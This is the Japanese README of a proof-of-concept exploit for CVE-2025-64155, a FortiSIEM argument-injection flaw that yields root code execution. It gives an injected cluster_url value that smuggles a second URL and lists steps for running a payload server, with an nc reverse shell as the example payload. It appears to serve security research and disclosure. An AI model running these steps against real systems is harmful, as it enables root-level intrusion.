CVE-2025-64155: Fortinet FortiSIEM の引数インジェクションによるリモートコード実行

Fortinet FortiSIEM 向けの概念実証エクスプロイト。引数インジェクションを悪用してファイルを書き込み、root 権限でのコード実行を実現します。

ブログ記事

詳細な分析はこちら: Horizon3.ai - CVE-2025-64155: Fortinet FortiSIEM をリモートでルート化するまでの3年間

注意

この問題を悪用してアプリケーションファイルを上書きすると、システムの不安定化を招く可能性が高いです。慎重に使用してください。 チェックは、cluster_url を次のように編集することで無害に実行できます: <cluster_url>http://127.0.0.1:80 --next http://<INTERACTSH_URL></cluster_url>

使用方法

1. ウェブサーバー serve.py 内のペイロードを、目的のペイロード（例: nc リバースシェル）に編集します
2. CVE-2025-64155.py 内の cluster_url を、serve.py が実行されているサーバーのベース URL を指すように編集します（例: http://10.0.40.83:9200）
3. ウェブサーバー serve.py を実行します
4. エクスプロイト CVE-2025-64155.py を実行します